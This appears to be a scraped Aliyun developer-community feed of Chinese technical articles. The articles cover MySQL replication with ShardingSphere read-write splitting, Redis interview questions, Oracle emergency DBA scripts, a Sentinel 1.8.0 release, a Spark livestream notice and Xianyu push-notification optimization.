    MASTER_USER='root',//之前创建的用户账号
    MASTER_PASSWORD='Java@1234',//之前创建的用户密码
    MASTER_LOG_FILE='mysql-bin.000001',//master主机的binlog日志名称
    MASTER_LOG_POS=862,//binlog日志偏移量
    master_port=3306;//端口

    还没完,设置完之后需要启动:

    # 启动slave服务
    start slave;

    启动完之后怎么校验是否启动成功呢?使用以下命令:

    show slave statusG;

    可以看到如下信息(摘取部分关键信息):

    *************************** 1. row ***************************
                   Slave_IO_State: Waiting for master to send event
                      Master_Host: 192.168.0.104
                      Master_User: root
                      Master_Port: 3306
                    Connect_Retry: 60
                  Master_Log_File: mysql-bin.000001
              Read_Master_Log_Pos: 619
                   Relay_Log_File: mysqld-relay-bin.000001
                    Relay_Log_Pos: 782
            Relay_Master_Log_File: mysql-bin.000001 //binlog日志文件名称
                 Slave_IO_Running: Yes //Slave_IO线程、SQL线程都在运行
                Slave_SQL_Running: Yes
                 Master_Server_Id: 104 //master主机的服务id
                      Master_UUID: 0ab6b3a6-e21d-11ea-aaa3-080027f8d623
                 Master_Info_File: /var/lib/mysql/master.info
                        SQL_Delay: 0
              SQL_Remaining_Delay: NULL
          Slave_SQL_Running_State: Slave has read all relay log; waiting for the slave I/O thread to update it
               Master_Retry_Count: 86400
                    Auto_Position: 0

    另一台slave从机配置一样,不再赘述。

    测试主从复制

    在master主机执行sql:

    CREATE TABLE `tb_commodity_info` (
      `id` varchar(32) NOT NULL,
      `commodity_name` varchar(512) DEFAULT NULL COMMENT '商品名称',
      `commodity_price` varchar(36) DEFAULT '0' COMMENT '商品价格',
      `number` int(10) DEFAULT '0' COMMENT '商品数量',
      `description` varchar(2048) DEFAULT '' COMMENT '商品描述',
      PRIMARY KEY (`id`)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='商品信息表';

    接着我们可以看到两台slave从机同步也创建了商品信息表:
    在这里插入图片描述

    主从复制就完成了!java技术爱好者有点东西哦~

    读写分离

    主从复制完成后,我们还需要实现读写分离,master负责写入数据,两台slave负责读取数据。怎么实现呢?

    实现的方式有很多,以前我公司是采用AOP的方式,通过方法名判断,方法名中有get、select、query开头的则连接slave,其他的则连接master数据库。

    但是通过AOP的方式实现起来代码有点繁琐,有没有什么现成的框架呢,答案是有的。

    Apache ShardingSphere 是一套开源的分布式数据库中间件解决方案组成的生态圈,它由 JDBC、Proxy两部分组成。

    ShardingSphere-JDBC定位为轻量级 Java 框架,在 Java 的 JDBC 层提供的额外服务。 它使用客户端直连数据库,以 jar 包形式提供服务,无需额外部署和依赖,可理解为增强版的 JDBC 驱动,完全兼容 JDBC 和各种 ORM 框架。

    读写分离就可以使用ShardingSphere-JDBC实现。
    在这里插入图片描述

    下面演示一下SpringBoot+Mybatis+Mybatis-plus+druid+ShardingSphere-JDBC代码实现。

    项目配置

    版本说明:

    SpringBoot:2.0.1.RELEASE
    druid:1.1.22
    mybatis-spring-boot-starter:1.3.2
    mybatis-plus-boot-starter:3.0.7
    sharding-jdbc-spring-boot-starter:4.1.1

    添加sharding-jdbc的maven配置:

    <dependency>
        <groupId>org.apache.shardingsphere</groupId>
        <artifactId>sharding-jdbc-spring-boot-starter</artifactId>
        <version>4.1.1</version>
    </dependency>

    然后在application.yml添加配置:

    # 这是使用druid连接池的配置,其他的连接池配置可能有所不同
    spring:
      shardingsphere:
        datasource:
          names: master,slave0,slave1
          master:
            type: com.alibaba.druid.pool.DruidDataSource
            driver-class-name: com.mysql.jdbc.Driver
            url: jdbc:mysql://192.168.0.108:3306/test_db?useUnicode=true&characterEncoding=utf8&tinyInt1isBit=false&useSSL=false&serverTimezone=GMT
            username: yehongzhi
            password: YHZ@1234
          slave0:
            type: com.alibaba.druid.pool.DruidDataSource
            driver-class-name: com.mysql.jdbc.Driver
            url: jdbc:mysql://192.168.0.109:3306/test_db?useUnicode=true&characterEncoding=utf8&tinyInt1isBit=false&useSSL=false&serverTimezone=GMT
            username: yehongzhi
            password: YHZ@1234
          slave1:
            type: com.alibaba.druid.pool.DruidDataSource
            driver-class-name: com.mysql.jdbc.Driver
            url: jdbc:mysql://192.168.0.110:3306/test_db?useUnicode=true&characterEncoding=utf8&tinyInt1isBit=false&useSSL=false&serverTimezone=GMT
            username: yehongzhi
            password: YHZ@1234
        props:
          sql.show: true
        masterslave:
          load-balance-algorithm-type: round_robin
        sharding:
          master-slave-rules:
            master:
              master-data-source-name: master
              slave-data-source-names: slave0,slave1

    sharding.master-slave-rules是标明主库和从库,一定不要写错,否则写入数据到从库,就会导致无法同步。

    load-balance-algorithm-type是路由策略,round_robin表示轮询策略。

    启动项目,可以看到以下信息,代表配置成功:

    编写Controller接口:

        /**
         * 添加商品
         *
         * @param commodityName  商品名称
         * @param commodityPrice 商品价格
         * @param description    商品价格
         * @param number         商品数量
         * @return boolean 是否添加成功
         * @author java技术爱好者
         */
        @PostMapping("/insert")
        public boolean insertCommodityInfo(@RequestParam(name = "commodityName") String commodityName,
                                           @RequestParam(name = "commodityPrice") String commodityPrice,
                                           @RequestParam(name = "description") String description,
                                           @RequestParam(name = "number") Integer number) throws Exception {
            return commodityInfoService.insertCommodityInfo(commodityName, commodityPrice, description, number);
        }

    准备就绪,开始测试!

    测试

    打开POSTMAN,添加商品:

    控制台可以看到如下信息:

    查询数据的话则通过slave进行:

    就是这么简单!

    缺点

    尽管主从复制、读写分离能很大程度保证MySQL服务的高可用和提高整体性能,但是问题也不少:

    • 从机是通过binlog日志从master同步数据的,如果在网络延迟的情况,从机就会出现数据延迟。那么就有可能出现master写入数据后,slave读取数据不一定能马上读出来

    可能有人会问,有没有事务问题呢?

    实际上这个框架已经想到了,我们看回之前的那个截图,有一句话是这样的:

    微信公众号已开启:【java技术爱好者】,没关注的同学记得关注哦~

    我是java技术爱好者,罗定的java精英,人称 【罗ja英】

    坚持原创,持续输出兼具广度和深度的技术文章。

    上面所有例子的代码都上传Github了:

    https://github.com/yehongzhi/mall

    你的点赞是我创作的最大动力~

    拒绝做一条咸鱼,我是一个努力让大家记住的程序员。我们下期再见!!!
    3.png

    ]]>
    2020阿里云服务器如何购买(图文教程)-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    ]]>
    阿里架构师8问Redis,全对算你赢-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 1、Redis 官方为什么不提供 Windows 版本?

    因为目前 Linux 版本已经相当稳定,且Linux操作系统自带的epoll相关函数, 在高并发情况下性能一般比windows的select函数性能较好,为了高性能起见, Redis官网不提供windows 版本。

    image.png

    2、使用Redis有什么缺点?

    缓存和数据库双写一致性问题
    缓存雪崩问题
    缓存击穿问题
    缓存的并发竞争问题

    3、Redis是单线程还是多线程?

    回答: 主线程是单线程, 但6.0版本前后线程机制有做调整, 只要看懂下面这张图即可(看不懂没关系, 后面会讲到)
    image.png

    4、MySQL 里有 2000w 数据,redis 中只存 20w 的数据,如何保证 redis 中的数据都是热点数据?

    非常简单, 当Redis 内存数据集大小上升到一定大小的时候,就会施行数据淘汰策略。

    5、Redis过期策略和内存淘汰机制?

    正解:Redis采用的是定期删除+惰性删除策略。

    6、Redis 的持久化底层如何实现的?有什么优点缺点?

    RDB: 在不同的时间点将 redis 的数据生成的快照同步到磁盘等介质上):内存到硬盘的快照,定期更新。缺点:耗时,耗性能(fork+io 操作),易丢失数据。
    AOF:将 redis 所执行过的所有指令都记录下来,在下次 redis 重启时,只需要执行指令就可以了):写日志。缺点:体积大,恢复速度慢。
    Redis4.0 之后有了混合持久化的功能,将 bgsave 的全量和 aof 的增量做了融合处理,这样既保证了恢复的效率又兼顾了数据的安全性。

    7、什么是缓存穿透?如何解决缓存穿透问题?

    指查询一个一定不存在的数据,如果从存储层查不到数据则不写入缓存,这将导致这个不存在的数据每次请求都要到 DB 去查询,可能导致 DB 挂掉。
    穿透解决方案如下:
    1.查询返回的数据为空,仍把这个空结果进行缓存,但过期时间会比较短;
    2.布隆过滤器:将所有可能存在的数据哈希到一个足够大的 bitmap 中,一个一定不存在的数据会被这个 bitmap 拦截掉,从而避免了对 DB 的查询。

    8、Redis 常见的性能问题和解决方案

    这个你能答上来吗?

    Redis也是大厂面试最爱问的,除了上面这些问题,还包括Redis客户端、Redis高级功能、Redis持久化和开发运维常用问题探讨、Redis复制的原理和优化策略、Redis分布式解决方案等。

    ]]>
    oracle故障脚本收集-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 1、.万能重启方法
    如应急情况,需要重启数据库:
    tail -100f <对应路径>alert_fgedu.log
    alter system switch logfile;
    alter system checkpoint;
    shutdown immediate;
    如果不能正常关机,可以使用shutdown abort强制关机;
    startup

    2.操作系统性能(通常故障出现时最先检查的内容)
    top、topas、vmstat、iostat、free、nmon

    3.批量杀进程(数据库挂起时应急恢复)
    3.1.kill所有LOCAL=NO进程
    ps -ef|grep LOCAL=NO|grep $ORACLE_SID|grep -v grep|awk '{print $2}' |xargs kill -9
    3.2.按用户批量杀进程
    select 'alter system kill session ''' || s.sid || ',' || s.serial# ||

       '''; -- kill -9  ' || p.spid

    from v$session s, v$process p
    where s.PADDR = p.addr and s.username='&username'

    4.数据库杀会话(应急方法)
    4.1.杀某个SID会话
    SELECT /+ rule / sid, s.serial#, 'kill -9 '||spid, event, blocking_session b_sess
    FROM v$session s, v$process p WHERE sid='&sid' AND s.paddr = p.addr order by 1;
    4.2.根据SQL_ID杀会话
    SELECT /+ rule / sid, s.serial#, 'kill -9 '||spid, event, blocking_session b_sess
    FROM v$session s, v$process p WHERE sql_id='&sql_id' AND s.paddr = p.addr order by 1;
    4.3.根据等待事件杀会话
    SELECT /+ rule / sid, s.serial#, 'kill -9 '||spid, event, blocking_session b_sess
    FROM v$session s, v$process p WHERE event='&event' AND s.paddr = p.addr order by 1;
    4.4.根据用户杀会话
    SELECT /+ rule / sid, s.serial#, 'kill -9 '||spid, event, blocking_session b_sess
    FROM v$session s, v$process p WHERE username='&username' AND s.paddr = p.addr order by 1;

    **5.性能报告收集与自动诊断报告(性能分析必备)
    5.1.statspack (提示:适合于9i以下版本)**
    spcreate.sql, execute statspack.snap
    spreport.sql spdrop.sql
    5.2.awr性能监控工具的使用方法(提示:10g/11g/12c/18c/19c使用)
    性能报告产生方法(支持txt和html格式):
    @$ORACLE_HOME/rdbms/admin/awrrpt.sql
    或者
    --RAC可以指定实例id
    @$ORACLE_HOME/rdbms/admin/awrrpti.sql
    5.3. addm自动故障诊断报告(提示:10g/11g/12c/18c/19c使用)
    @$ORACLE_HOME/rdbms/admin/addmrpt.sql
    或者
    --RAC可以指定实例id
    @$ORACLE_HOME/rdbms/admin/addmrpti.sql

    6.定期检查表空间使用情况(表空间100%导致业务异常)
    --from:www.fgedu.net.cn/oracle.html
    col f.tablespace_name format a15
    col d.tot_grootte_mb format a10
    col ts-per format a8
    select upper(f.tablespace_name) "TS-name",

       d.tot_grootte_mb "TS-bytes(m)",
       d.tot_grootte_mb - f.total_bytes "TS-used (m)",
       f.total_bytes "TS-free(m)",
       to_char(round((d.tot_grootte_mb - f.total_bytes) / d.tot_grootte_mb * 100,
                     2),
               '990.99') "TS-per"
         from (select tablespace_name,
               round(sum(bytes) / (1024 * 1024), 2) total_bytes,
               round(max(bytes) / (1024 * 1024), 2) max_bytes
          from sys.dba_free_space
         group by tablespace_name) f,
       (select dd.tablespace_name,
               round(sum(dd.bytes) / (1024 * 1024), 2) tot_grootte_mb
          from sys.dba_data_files dd
         group by dd.tablespace_name) d

    where d.tablespace_name = f.tablespace_name
    order by 5 desc;

    7.捕获占用CPU利用率过高的SQL语句
    set lin 1000
    set pagesize 1000
    col USERNAME format a16
    col MACHINE format a16
    col SQL_TEXT format a200
    SELECT a.username,a.machine,a.program,a.sid,a.serial#,a.status,c.piece,c.sql_text FROM v$session a,v$process b,v$sqltext c WHERE b.spid='&spid' AND b.addr=a.paddr AND a.sql_address=c.address(+) ORDER BY c.piece;

    8.查看等待事件(在数据库中首先要检查的操作)
    col event for a45
    SELECT inst_id,EVENT, SUM(DECODE(WAIT_TIME, 0, 0, 1)) "Prev", SUM(DECODE(WAIT_TIME, 0, 1, 0)) "Curr", COUNT(*) "Tot" , sum(SECONDS_IN_WAIT) SECONDS_IN_WAIT
    FROM GV$SESSION_WAIT
    WHERE event NOT
    IN ('smon timer','pmon timer','rdbms ipc message','SQL*Net message from client','gcs remote message')

    AND event NOT LIKE '%idle%'
    AND event NOT LIKE '%Idle%'
    AND event NOT LIKE '%Streams AQ%'

    GROUP BY inst_id,EVENT
    ORDER BY 1,5 desc
    提示:数据库中有一些常见异常等待事件,要重点分析,如:row cache lock、buffer busy waits、library cache lock、read by other session、latch:shared pool、gc buffer busy、cursor: pin S on X、direct path read、log file sync、enq: TX - index contention、latch free、enq: TX - row lock contention等等。

    9.根据等待事件查会话
    得到异常等待事件之后,我们就根据等待事件去查会话详情,也就是查看哪些会话执行哪些SQL在等待,另外还查出来用户名和机器名称,以及是否被阻塞。
    SELECT /+rule / sid, s.serial#, spid, event, sql_id, seconds_in_wait ws, row_wait_obj# obj,
    s.username, s.machine, BLOCKING_INSTANCE||'.'||blocking_session b_sess
    FROM v$session s, v$process p
    WHERE event='&event_name' AND s.paddr = p.addr order by 6;
    10.查询某个会话详情
    得到会话列表之后,可以根据如下SQL查询某个会话的详细信息,如上次个执行的SQL_ID,登录时间等。
    SELECT s.sid, s.serial#, spid, event, sql_id, PREV_SQL_ID, seconds_in_wait ws, row_wait_obj# obj,
    s.username, s.machine, module,blocking_session b_sess,logon_time
    FROM v$session s, v$process p
    WHERE sid = '&sid' AND s.paddr = p.addr
    11.查询对象信息
    从前面两个SQL都可以看到会话等待的对象ID,可以通过如下SQL查询对象的详细信息。
    col OBJECT_NAME for a30
    select owner,object_name,subobject_name,object_type
    from dba_objects
    where object_id=&oid
    12.根据SQL_ID、HASH_VALUE查询SQL语句
    select sql_id,SQL_fullTEXT
    from v$sqlarea
    where (sql_id='&sqlid' or hash_value=to_number('&hashvale') )
    and rownum<2
    13..查询会话阻塞情况,某个会话阻塞了多少个会话
    select count(*),blocking_session
    from v$session
    where blocking_session is not null
    group by blocking_session;
    **14.查询数据库的锁
    通过如下SQL查询某个会话的锁,有哪些TM、TX锁,以及会话和锁关联查询的SQL。**
    set linesize 180
    col username for a15
    col owner for a15
    col OBJECT_NAME for a30
    col SPID for a10
    14.1.查询某个会话的锁
    select /+rule/SESSION_ID,OBJECT_ID,ORACLE_USERNAME,OS_USER_NAME,PROCESS,LOCKED_MODE
    from gv$locked_object where session_id=&sid;
    14.2.查询TM、TX锁
    select /+rule/* from v$lock
    where ctime >100 and type in ('TX','TM') order by 3,9;
    14.3.查询数据库中的锁
    select /+rule/s.sid,p.spid,l.type,round(max(l.ctime)/60,0) lock_min,s.sql_id,s.USERNAME,b.owner,b.object_type,b.object_name
    from v$session s, v$process p,v$lock l,v$locked_object o,dba_objects b
    where o.SESSION_ID=s.sid and s.sid=l.sid and o.OBJECT_ID=b.OBJECT_ID
    and s.paddr = p.addr and l.ctime >100 and l.type in ('TX','TM','FB')
    group by s.sid,p.spid,l.type,s.sql_id,s.USERNAME,b.owner,b.object_type,b.object_name
    order by 9,1,3
    15.故障信息收集
    提示:数据库hang住了之后,需要详细分析原因,或者提供给二线支持的信息,可使用下面脚本,收集systemstate dump和hanganalyze信息,如果有sqlplus无法登陆的情况,可以加-prelim参数。
    --systemstate dump
    sqlplus -prelim / as sysdba
    oradebug setmypid
    oradebug unlimit;
    oradebug dump systemstate 266;
    --wait for 1 min
    oradebug dump systemstate 266;
    --wait for 1 min
    oradebug dump systemstate 266;
    oradebug tracefile_name;
    --hanganalyze
    oradebug setmypid
    oradebug unlimit;
    oradebug dump hanganalyze 3
    --wait for 1 min
    oradebug dump hanganalyze 3
    --wait for 1 min
    oradebug dump hanganalyze 3
    oradebug tracefile_name

    ]]>
    Sentinel 1.8.0 年度版本发布,熔断降级重构升级-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 在经过数月的打磨后,Sentinel 1.8.0 版本正式发布!该版本是本年度最重要的版本之一,包含大量特性改进与 bug 修复,尤其是针对熔断降级特性的完善升级(支持任意统计时长、慢调用比例降级策略、熔断器事件监听);同时该版本进一步扩充了开源生态,提供对 Java EE (JAX-RS, CDI), Quarkus, HTTP client 等体系的原生支持。详细特性列表请参考 Release Notes,欢迎大家使用并提出建议。

    下面我们来一起探索一下 Sentinel 1.8.0 的重要特性。

    熔断降级改进

    一个服务常常会调用别的模块,可能是另外的一个远程服务、数据库,或者第三方 API 等。例如,支付的时候,可能需要远程调用银联提供的 API;查询某个商品的价格,可能需要进行数据库查询。然而,这个被依赖服务的稳定性是不能保证的。如果依赖的服务出现了不稳定的情况,请求的响应时间变长,那么调用服务的方法的响应时间也会变长,线程会产生堆积,最终可能耗尽业务自身的线程池,服务本身也变得不可用。

    现代微服务架构都是分布式的,由非常多的服务组成。不同服务之间相互调用,组成复杂的调用链路。以上的问题在链路调用中会产生放大的效果。复杂链路上的某一环不稳定,就可能会层层级联,最终导致整个链路都不可用。因此我们需要对不稳定的弱依赖服务进行自动熔断,暂时切断不稳定调用,避免局部不稳定因素导致整体的雪崩。

    Sentinel 1.8.0 版本对原有的熔断降级模块进行了重构和升级,重新以熔断器(cicuit breaker)的形式进行抽象,并进一步完善了熔断器的能力。新版熔断降级支持任意统计时长,用户可以根据接口的场景灵活配置统计维度为秒级或者分钟级;同时我们也引入了用户需要的半开启探测恢复支持。新版熔断降级还对原有的秒级平均 RT 策略进行了升级,原有 RT 策略对稀疏请求不友好,并且采用平均 RT 可能会被某个特别慢的调用影响。1.8.0 版本将基于响应时长的策略升级为慢调用比例策略,用户指定响应时长超出多少记为慢调用(即稳态 RT 的上界),同时配置慢调用比例阈值,结合场景配置统计时长维度,即可更好地针对慢调用进行熔断。用户可以结合 Sentinel 控制台的实时监控来决定稳态 RT 的阈值。

    同时考虑到用户可能需要感知熔断器的状态变化以进行一些日志记录或其它的操作,Sentinel 提供了熔断器的事件监听器扩展,用户可以注册自定义的事件监听器以感知熔断器状态变化。示例:

    EventObserverRegistry.getInstance().addStateChangeObserver("logging",

    (prevState, newState, rule, snapshotValue) -> {
        if (newState == State.OPEN) {
            // 变换至 OPEN state 时会携带触发时的值
            System.err.println(String.format("%s -> OPEN at %d, snapshotValue=%.2f", prevState.name(),
                TimeUtil.currentTimeMillis(), snapshotValue));
        } else {
            System.err.println(String.format("%s -> %s at %d", prevState.name(), newState.name(),
                TimeUtil.currentTimeMillis()));
        }
    });

    至此,Sentinel 已提供三种熔断策略:慢调用比例、异常比例和异常数。有关熔断降级特性的更多信息请参考 熔断降级文档。

    开源生态与云原生

    Sentinel 1.8.0 进一步扩充了开源生态。Sentinel 1.8.0 引入了 Java EE 原生支持,提供对 JAX-RS Web 应用的原生支持(sentinel-jax-rs-adapter),以及基于 CDI 的注解埋点支持(sentinel-annotation-cdi-interceptor),对于采用原生 Java EE 架构的服务可以更方便地接入。

    image.png
    Quarkus 作为广受关注的云原生微服务框架,在微服务框架中活跃度排名前列。Sentinel 1.8.0 提供了针对 Quarkus 的适配模块,支持 Quarkus Web 服务无缝集成(基于 JAX-RS 适配),并且通过 CDI 注解埋点支持和 Reactor 适配,可以针对 Quarkus 服务中的任意逻辑进行流控。Quarkus 适配模块支持构建 native image,感兴趣的开发者欢迎参考 demo 进行尝试。

    至此,Sentinel 的开源生态得到进一步扩充:
    image.png

    其它重要特性/改进

    • @SentinelResource 注解支持配置类级别统一的 defaultFallback
      修复 Dubbo 2.7.x 适配模块 Entry 泄漏可能导致 FGC 的 bug

    修复 Spring Web 适配模块在内部转发请求时可能导致 ErrorEntryFreeException 的 bug
    支持通过 properties 配置文件配置 project.name(至此所有启动配置项均可通过文件配置)
    新增 Eureka 数据源支持
    更多信息请参考 Release Notes。

    Start hacking

    Sentinel 1.8.0 是社区一起定义的年度版本,近 80% 的特性都是社区开发者贡献的。感谢各位贡献者的付出!同时我们非常欢迎大家持续参与社区贡献,一起来参与未来版本的演进。若您有意愿参与社区贡献,欢迎联系我们加入 Sentinel 贡献小组一起成长(Sentinel 开源讨论钉钉群:30150716)。我们会定期给活跃贡献者寄送小礼品,核心贡献者会提名为 committer,一起主导社区的演进。同时,也欢迎大家通过 AHAS Sentinel 控制台 来快速体验 Sentinel 的能力。Now let's start hacking!

    ]]>
    8月27日 Spark 社区直播【OAP Spark 优化介绍: 通过索引和缓存优化交互式查询性能】-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 主题:

    OAP Spark 优化介绍: 通过索引和缓存优化交互式查询性能

    直播时间:

    8月27日 19:00

    观看方式:

    届时进入直播间(回看链接也是这个):https://developer.aliyun.com/live/43848?spm=5176.8068049.0.0.27366d19Q1XzyT

    或扫描下方钉钉群二维码进群观看

    讲师介绍:

    陈海锋,英特尔亚太研发有限公司大数据部门的高级软件架构师,开发经理,主要研究和关注基于Hadoop和Spark的大数据框架的分析和优化,Apache社区的长期贡献者。

    沈祥翔,英特尔亚太研发有限公司大数据部门的高级软件工程师,主要担任OAP项目的开发。

    直播介绍:

    简单介绍OAP的总体蓝图。同时详细介绍其中的一个具体优化,使用索引和缓存来解决交互式查询性能挑战。英特尔和社区合作,为Spark SQL实现了索引和数据源缓存,通过为关键查询列创建并存储完整的B +树索引,并使用智能的细粒度数据缓存策略,我们可以极大的提升基于Spark SQL的交互式查询的性能。

    8.27直播.png

    ]]>
    消息链路优化之弱感知链路优化-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 作者:闲鱼技术-逸昂

    一、消息系统面临的问题

    闲鱼的消息系统作为沟通买家与卖家的工具,增进理解、促进信任,对闲鱼的商品成交有重要的价值,是提升用户体验最关键的环节。
    闲鱼消息系统面临的问题包括:在线消息的体验提升、离线推送的到达率、消息玩法与消息底层系统的耦合过强。
    现阶段离线推送的问题最为关键,对用户体验影响较大,本文优先解决离线推送的到达问题。

    二、消息系统现状

    2.1 消息系统链路区分

    根据闲鱼客户端是否在线,闲鱼的整体消息链路大致可以分为强感知链路和弱感知链路。
    强感知链路由发送方客户端、idleapi-message(闲鱼的消息网关)、heracles(闲鱼的消息底层服务)、accs(阿里自研的长连接通道)、接收方客户端组成。整条链路的核心指标在于端到端延迟和消息到达率。强感知链路的双方都是在线的,消息到达客户端就可以保证接收方感知到。强感知链路的主要痛点在消息的端到端延迟。
    弱感知链路与强感知链路的主要不同在于:弱感知链路的接收方是离线的,需要依赖离线推送这样的方式送达。因此弱感知链路的用户感知度不强。其核心指标在于消息的到达率,而非延迟。当前弱感知链路的重点是到达率仍有提升空间。

    2.3 闲鱼的消息架构

    这里放一张闲鱼消息系统的架构图,大家感受下整体链路:
    图片.png
    HSF是一个远程服务框架,是dubbo的内部版本。
    tair是阿里自研的分布式缓存框架,支持 memcached、Redis、LevelDB 等不同存储引擎。
    agoo是阿里的离线推送中台,负责整合不同厂商的离线推送通道,向集团用户提供一个统一的离线推送服务。
    accs是阿里自研的长连接通道,为客户端、服务端的实时双向交互提供便利。
    lindorm是阿里自研的NoSQL产品,与HBase有异曲同工之妙。
    域环是闲鱼消息优化性能的核心结构,用来存储用户最新的若干条消息。

    强感知链路和弱感知链路在通道选择上是不同的。强感知链路使用accs这个在线通道。弱感知链路使用agoo这个离线通道。

    三、弱感知链路问题分析

    链路这件事情,比较抽象。首先需要分析链路的核心指标、链路的环节、链路的瓶颈,然后才能着手优化。问题分析清楚,也就成功了一半。

    3.1 何为弱感知

    本期先带大家看看闲鱼的弱感知链路优化。弱感知链路是指闲鱼的离线推送系统。
    相比较于在线消息和端内推送,离线推送难以确保被用户感知到。典型的情况包括:

    • 未发送到用户设备。因为离线通道的token失效、参数错误、用户关闭应用通知、用户已卸载等原因,推送未送达用户设备。这种情况可以从通道的返回分析。
    • 发送到用户设备但没有展示到系统通知栏。闲鱼曾遇到通道返回成功,但是用户未看到推送的案例。
    • 展示到通知栏,并被系统折叠。不同安卓厂商对推送的折叠策略不同,折叠的原因包括:点击率、应用在厂商处的权重、推送的数量等。推送被折叠后,需要用户主动展开才能看到推送内容,触达效果会明显变差。
    • 展示到通知栏,并被用户忽略。离线推送的点击率相比于在线推送更低,原因包括:用户不愿意查看推送;用户看到了推送,但是对内容不感兴趣;用户在忙别的事,无暇处理。

    离线推送用户感知度不高,闲鱼称之为弱感知链路。

    3.2 弱感知链路的构成

    闲鱼的弱感知链路分为系统、通道、用户三个部分,包含Hermes、agoo、厂商、设备、用户、承接页这几个环节。

    从推送的产生到用户最终进入闲鱼,共分为如下几个步骤:
    Step 1. Hermes是闲鱼的用户触达系统,负责人群管理、内容管理、时机把控,是整个弱感知链路的起点。
    Step 2. agoo是阿里内部承接离线推送的中台,是闲鱼离线推送能力的基础。
    Step 3. agoo实现离线推送依靠的是厂商的推送通道,例如:苹果的apns通道、Google的fcm通道、以及国内各大厂商的自建通道。
    Step 4. 通过厂商的通道,推送最终出现在用户的设备上,这是用户能感知到推送的前提条件。
    Step 5. 如果用户刚巧看到这条推送,推送的内容也很有趣,在用户的主动点击下。会唤起闲鱼,打开承接页,进而给用户展示个性化的商品。到此,弱感知链路就完成了使命。

    3.3 弱感知链路面临的问题

    弱感知链路的核心问题在于:

    • 推送的消息是否投递给了用户。
    • 用户是否有感知

    这对应推送的两个阶段:

    • 推送到达设备
    • 用户查看推送并点击

    其中,到达设备这个阶段是最基础的,也是本次优化的核心。
    我们可以将每一步的消息处理量依次平铺,展开为一张漏斗图,从而直观的查看链路的瓶颈。漏斗图斜率最大的地方是优化的重点,差异小的地方不需要优化。
    图片.png
    通过分析闲鱼的漏斗图,弱感知链路的优化重点在三个方面:

    • agoo受理率。agoo受理率是闲鱼发送推送的数量到可以通过agoo(阿里承接离线推送的中台)转发到厂商通道的数量之间的漏斗。
    • 厂商受理率。厂商受理率是agoo中台受理的量到厂商返回成功的量之间的漏斗。
    • Push点击

    有了优化方向,我们来看看优化手段吧。

    四、弱感知链路优化

    我们跟随推送的视角,顺着链路看下闲鱼的优化。

    4.1 agoo受理率优化

    用户的推送,从 Hermes 站点搭乘“班车”,驶向下一站: agoo。这是推送经历的第一站,到站一看,傻眼了,只有不到一半的推送到站下车了。这是咋回事嘞?
    这就要先说说 agoo 了,调用 agoo 有两种方式:

    • 指定设备和客户端,agoo直接将推送投递到相应的设备
    • 指定用户和客户端,agoo根据内部的转换表,找到用户对应的设备,再进行投递。

    闲鱼不保存用户的设备信息。因此,闲鱼是按照用户来调用agoo的。同时,因为由于没有用户的设备信息,并不知道用户是 iOS 客户端还是 Android 客户端。工程侧不得不向 iOS 和 Android 都发送一遍推送。虽然保证了到达,但是,一半的调用都是无效的。
    为了解这个问题,我们使用了agoo的设备信息。将用户转换设备这一阶段提前到了调用 agoo 之前,先明确用户对应的设备,再指定设备调用 agoo,从而避免无效调用。
    图片.png
    agoo调用方式优化后,立刻剔除了无效调用,agoo受理率有了明显提升。至此,我们总算能对 agoo 受理失败的真正原因做一个高大上的分析了。根据统计,推送被 agoo 拒绝的主要原因是:用户关闭了通知权限
    同时,对 agoo 调用数据的进一步分析发现。有部分用户找不到对应的设备。
    优化到此,我们猛然发现多了两个问题。那就优化呗:

    • 通知体验优化,引导打开通知权限
    • 与agoo共建设备库,解决设备转换失败的问题

    这两个优化方向又是一片新天地,我们择日再聊。

    4.2 厂商受理率优化

    推送到达 agoo ,分机型搭乘厂商“专列”,驶向下一站:用户设备。这是推送经历的第二站。出站查票,发现竟然超员了。于是乎,闲鱼每天有大量推送因为超过厂商设定的限额被拦截。
    提供推送通道的厂商,为了保证用户体验,会对每个应用能够推送的消息总量进行限制。这个限制会根据推送的类型和应用的用户规模设定。
    推送主要分为产品类的推送和营销类的推送。对于产品类推送,厂商会保证到达;对于营销类推送,厂商会进行额度限制。未标记的推送默认作为营销类推送对待。
    闲鱼刚好没有对推送进行标记,因此触发了厂商的推送限制。这对闲鱼的用户来说,会带来困扰。闲鱼的交易,很依赖买卖家之间的消息互动。这部分消息是需要确保到达的。同样,订单类的消息、用户的关注,也需要保证推送给用户。
    根据主流厂商的接口协议,闲鱼将Push分为即时通讯消息、订单状态变化、用户关注内容、营销消息这几类,并进行相应标记。
    同时,在业务上,我们也进行了推送的治理。将用户关注度不高的消息,取消推送,避免打扰。
    经过这些优化,闲鱼因为超过厂商限额而被拦截的推送实现了清零。

    4.3 Push点击优化

    在日常的开发测试过程中,闲鱼的工程师们发现了推送的两个体验问题:

    • 用户点击Push有开屏广告
    • 营销Push 也有权限校验,更换用户登陆后无法点击

    对于开屏广告功能,闲鱼增加了Push点击跳广告的能力。针对Push的权限校验功能,闲鱼根据场景做了细分。涉及个人隐私的推送,保持权限校验不变。营销类的推送,放开权限校验。
    以上是点击体验的优化,我们还需要考虑用户的点击意愿。
    用户点击量与推送的曝光量、推送素材的有趣程度相关。推送的曝光量又和推送的到达量、推送的到达时机有关。通过优化agoo受理率、厂商受理率,我们解决了推送到达量的瓶颈。在推送内容上,我们需要优化的是推送的时机和相应的素材。
    在推送时机上,算法会根据用户的偏好和个性化行为数据,计算每个用户的个性化推送时间,在用户空闲的时间推送。避免在不合适的时间打扰用户,同时也能提升用户看到推送的可能性。
    在推送素材上,算法会根据素材的实时点击反馈,对素材做实时赛马。只发用户感兴趣的素材,提高用户点击意愿。

    五、链路优化效果

    通过分析链路的瓶颈并进行相对应的优化,整体链路有了不错的提升,到达率相对提升了两位数。

    六、聊后续

    今天主要和大家聊一下消息链路中的一环:弱感知链路的优化。
    消息系统整体,还是一个比较复杂的领域。闲鱼在消息的发展过程中,面临着如下问题:

    • 如何进行消息的链路追踪
    • 如何保证IM消息的快速到达
    • 如何将消息的玩法和底层能力分离
    • 离线推送中如何通过用户找到对应的设备

